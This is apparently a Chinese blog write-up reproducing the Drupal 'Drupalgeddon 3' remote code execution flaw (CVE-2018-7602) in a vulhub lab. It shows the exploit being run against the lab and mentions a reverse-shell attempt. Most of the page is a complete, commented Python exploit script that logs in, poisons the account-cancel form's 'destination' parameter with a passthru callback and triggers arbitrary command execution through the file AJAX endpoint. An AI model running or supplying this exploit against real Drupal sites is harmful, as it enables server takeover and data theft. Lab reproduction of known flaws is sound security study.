CVE-2018-7602

Drupal Drupalgeddon 3 后台远程代码执行漏洞(CVE-2018-7602)

概述

Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。

在 Drupal 7.x 和 8.x 版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对 URL 中的 # 字符进行两次 URL 编码可以绕过 sanitize() 函数过滤,从而导致远程代码执行。

漏洞复现

靶场:vulhub/drupal/CVE-2018-7600

启动靶场以后,访问 http://192.168.2.243:8080/会跳转到 Drupal 的安装向导,该靶场没有数据库,数据库选择 SQLite,其余均默认随意安装即可。

在安装过程中,需要记住自己创建的用户名与密码。

image-20250817201330475

此处创建的用户名为 123,密码为 123456

使用 CVE-2018-7600 脚本执行命令,执行如下命名:

python poc.py -c "id" 123 123456 http://192.168.2.243:8080/
	# id 为要执行的命令
    # 123 为创建的用户名
    # 123456 为创建的用户对应的密码

即可执行相应的命令。

image-20250817201629074

尝试反弹 Shell。

image-20250817201921748

image-20250817201940518

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# 导入必要库
import requests       # 用于发送HTTP请求
import argparse       # 用于解析命令行参数
from bs4 import BeautifulSoup  # 用于解析HTML文档

def get_args():
    """参数解析函数:处理命令行输入"""
    
    # 创建参数解析器,设置程序描述和帮助信息格式
    parser = argparse.ArgumentParser(
        prog="drupa7-CVE-2018-7602.py",
        # 自定义帮助信息格式(限制每行最大宽度50列)
        formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
        # 在帮助信息末尾显示的漏洞描述
        epilog= '''
        该脚本利用Drupal 7 <= 7.58版本中的漏洞(CVE-2018-7602)
        通过有效账户毒化用户取消表单(user_cancel_confirm_form),
        利用'destination'参数并通过文件上传AJAX(/file/ajax)触发漏洞。
        '''
    )

    # 添加必需参数
    parser.add_argument("user", help="Drupal管理员用户名")  # 用户名参数
    parser.add_argument("password", help="Drupal管理员密码")  # 密码参数
    parser.add_argument("target", help="目标Drupal站点URL (例如: http://target.com/)")  # 目标URL
    
    # 添加可选参数
    parser.add_argument("-c", "--command", default="id", 
                      help="要执行的系统命令 (默认: id)")  # 默认执行id命令
    parser.add_argument("-f", "--function", default="passthru",
                      help="用于攻击的PHP函数 (默认: passthru)")  # 默认使用passthru函数
    parser.add_argument("-x", "--proxy", default="",
                      help="设置代理 (格式: http://127.0.0.1:8080/)")  # 代理设置
    
    args = parser.parse_args()  # 解析参数
    return args  # 返回解析后的参数对象

def pwn_target(target, username, password, function, command, proxy):
    """主漏洞利用函数"""
    
    # 禁用SSL证书验证警告(避免HTTPS证书错误)
    requests.packages.urllib3.disable_warnings()
    
    # 创建持久会话对象(维持cookies)
    session = requests.Session()
    
    # 配置代理设置(如果没有代理则为空)
    proxyConf = {'http': proxy, 'https': proxy}

    try:
        print('[*] 正在使用提供的凭据创建会话...')
        
        # 第一步:用户登录
        get_params = {'q':'user/login'}  # 访问登录页面的参数
        # 登录表单数据(包含CSRF令牌)
        post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
        # 发送登录POST请求
        session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)

        # 第二步:获取用户ID
        print('[*] 正在查找用户ID...')
        get_params = {'q':'user'}  # 访问用户主页
        # 发送GET请求获取用户页面
        r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
        
        # 使用BeautifulSoup解析HTML
        soup = BeautifulSoup(r.text, "html.parser")
        # 从meta标签中提取用户ID(Drupal特定位置)
        user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
        
        # 处理用户ID格式(如果包含?q=参数)
        if ("?q=" in user_id):
            user_id = user_id.split("=")[1]  # 分割字符串获取ID部分
            
        if(user_id):
            print('[*] 找到用户ID: ' + user_id)  # 打印找到的用户ID

        # 第三步:毒化表单(漏洞利用核心)
        print('[*] 正在使用\'destination\'参数毒化表单并存入缓存...')
        
        # 访问账户取消页面
        get_params = {'q': user_id + '/cancel'}
        r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
        soup = BeautifulSoup(r.text, "html.parser")
        
        # 查找账户取消表单
        form = soup.find('form', {'id': 'user-cancel-confirm-form'})
        # 提取CSRF令牌(防止跨站请求伪造)
        form_token = form.find('input', {'name': 'form_token'}).get('value')

        # 构造恶意destination参数(漏洞利用关键)
        # %23是#的URL编码,用于绕过Drupal的输入过滤
        get_params = {
            'q': user_id + '/cancel',
            # 注入恶意参数:
            # q[#post_render][] - 指定回调函数
            # q[#type] - 定义内容类型
            # q[#markup] - 包含要执行的命令
            'destination': user_id +'/cancel?q[%23post_render][]=' + function + 
                          '&q[%23type]=markup&q[%23markup]=' + command 
        }

        # 账户取消表单数据
        post_params = {
            'form_id':'user_cancel_confirm_form',
            'form_token': form_token, 
            '_triggering_element_name':'form_id', 
            'op':'Cancel account'
        }

        # 发送毒化的表单(将恶意代码存入Drupal缓存)
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        soup = BeautifulSoup(r.text, "html.parser")
        form = soup.find('form', {'id': 'user-cancel-confirm-form'})
        # 获取表单构建ID(标识被毒化的表单)
        form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')

        if form_build_id:
            print('[*] 毒化的表单ID: ' + form_build_id)
            print('[*] 正在触发漏洞执行命令: ' + command)
            
            # 第四步:通过AJAX触发漏洞执行命令
            get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
            post_params = {'form_build_id':form_build_id}
            # 发送最终请求触发代码执行
            r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
            
            # 解析并打印命令执行结果
            parsed_result = r.text.split('[{"command":"settings"')[0]
            print(parsed_result)
            
    except Exception as e:
        print("错误: 出现问题。")
        print(f"异常详情: {str(e)}")
        raise

def main():
    """主函数:程序入口"""
    
    print('\n===================================================================')
    print('| DRUPAL 7 <= 7.58 远程代码执行漏洞 (CVE-2018-7602)              |')
    print('|                                   作者: pimps                   |')
    print('===================================================================')
    
    # 获取命令行参数
    args = get_args()
    
    # 调用漏洞利用函数
    pwn_target(
        args.target.strip(),    # 目标URL(去除首尾空格)
        args.user.strip(),      # 用户名(去除首尾空格)
        args.password.strip(),  # 密码(去除首尾空格)
        args.function.strip(),  # PHP函数(去除首尾空格)
        args.command.strip(),   # 要执行的命令(去除首尾空格)
        args.proxy.strip()      # 代理设置(去除首尾空格)
    )

# Python脚本标准执行入口
if __name__ == '__main__':
    main()

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇